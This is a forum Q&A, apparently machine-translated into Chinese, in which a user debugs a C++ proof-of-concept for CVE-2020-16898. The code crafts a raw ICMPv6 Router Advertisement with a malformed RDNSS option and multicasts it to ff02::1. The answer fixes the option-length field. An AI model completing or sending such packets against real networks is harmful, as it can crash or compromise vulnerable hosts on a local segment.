0

出于好奇,我试图为CVE-2020-16898编写一个简单的概念验证漏洞利用。我使用了 RFC(RFC 4861 和 RFC 6106)来获得正确的格式,并且我已经成功地使用下面的代码发送了一个精心设计的 ICMPv6 路由器广告数据包。但是,在 Wireshark 中查看数据包发现实际发送的数据包中缺少数据包选项 25(有效负载)。

我怀疑它与数据包长度有关 - 我尝试将其转换为 Big Endian(同时使用 htons() 并手动插入十六进制数字),但在这些情况下,sendto() 失败并显示“消息太长”错误。有效负载应为 56 字节长,应远低于限制。

我在下面包括我的代码。我会很感激任何帮助。

#include <iostream>
#include <cstdlib>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <arpa/inet.h>

struct ipHeader{
    uint8_t priority:4, version:4;
    uint8_t flow[3];
    uint16_t length;
    uint8_t nextHeader;
    uint8_t hopLimit;

    // 128-bit IPv6 addresses
    uint16_t srcAddress[8];
    uint16_t dstAddress[8];
};

struct payload{
    uint8_t type;
    uint8_t code;
    uint16_t checksum;
    uint32_t curHopLimit:8, M:1,O:1, reserved:6, lifetime:16;
    uint16_t routerLifetime;
    uint32_t reachableTime;
    uint32_t retrans;
    // Options, probably should be its own struct
    uint8_t optionType;
    uint8_t optionLength;
    uint16_t optionReserved;
    uint32_t optionLifetime;
    uint32_t dnsAddress[4]; // 128-bit IPv6 address
    uint64_t randomGarbage; // This is where magic happens
};

int main()
{
    uint8_t *packet;
    packet = (uint8_t *) malloc(sizeof(ipHeader) + sizeof(payload));

    ipHeader *ip;
    payload *icmp;

    // Place IP header + payload directly to the packet buffer
    ip = (ipHeader *) packet;
    // Offset of payload in packet buffer
    icmp = (payload *)(packet+sizeof(ipHeader));

    // IPv6 packet header (arcane magic stuff)
    ip->version = 0b0110;
    ip->priority = 0;
    (ip->flow)[0] = 0;
    (ip->flow)[1] = 0;
    (ip->flow)[2] = 0;
    ip->length = htons(sizeof(payload)); // Should be 0x3800 (Big Endian)
    ip->nextHeader = 58;
    ip->hopLimit = UINT8_MAX; //Most hops possible to prevent the packet from being dropped

    std::cout << std::hex << ip->length << std::dec << std::endl;

    // ICMPv6 router advertisement packet (more arcane magic stuff)
    icmp->type = 134; // Router advertisement
    icmp->code = 0;
    icmp->checksum = 0; // will set/calculate later
    icmp->curHopLimit = 64;
    icmp->M = 0;
    icmp->O = 0;
    icmp->reserved = 0;
    icmp->lifetime = 0;
    icmp->reachableTime = 0;
    icmp->retrans = 0;
    icmp->optionType = 25;
    icmp->optionLength = htonl(3);
    icmp->optionLifetime = UINT32_MAX;
    icmp->randomGarbage = UINT64_MAX; // not very random, but w/ever
    icmp->checksum = 0x2e55;

    sockaddr_in6 remote{};
    remote.sin6_family = AF_INET6;
    remote.sin6_port = 0;
    remote.sin6_flowinfo = 0;
    remote.sin6_scope_id = 0;

    //Set addresses
    inet_pton(AF_INET6, "fe80::eab1:fcff:fedb:74", &(ip->srcAddress));
    inet_pton(AF_INET6, "ff02::1", &remote.sin6_addr);
    inet_pton(AF_INET6, "ff02::1", &(ip->dstAddress));
    inet_pton(AF_INET6, "2001:4860:4860::8844", &(icmp->dnsAddress)); // Google DNS, just to use a valid setting

    int sock, optVal;
    sock = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW);
    if(sock == -1){
        perror("Failed to open socket");
        exit(-1);
    }

    int status;
    status = setsockopt(sock, IPPROTO_IPV6, IPV6_HDRINCL, &optVal, sizeof(int));
    if(status != 0){
        std::cout << "Socket options returned status " << status << std::endl;
        perror("Failed to set socket options");
        exit(-2);
    }

    std::cout << "Sockets ready, sending payload..." << std::endl;
    std::cout << "Payload size: " << sizeof(payload) << std::endl;

    status = sendto(sock, packet, ip->length, 0, (sockaddr *) &remote, sizeof(remote));
    if(status != ip->length){
        std::cout << "sendto() returned status" << status << "(Errno: " << errno << ")" << std::endl;
        perror("Failed to send packet");
        exit(-3);
    }

    return 0;
}
4

1 回答 1

0

你有:

    uint8_t optionLength;

和:

icmp->optionLength = htonl(3);

这没有意义。

optionLength字段只有一个字节。单字节字段不可能是大端或小端。它只是一个字节。

由于时间不长,将结果分配htonl给该字段是一个错误。只需使用= 3.

于 2020-10-20T07:55:43.833 回答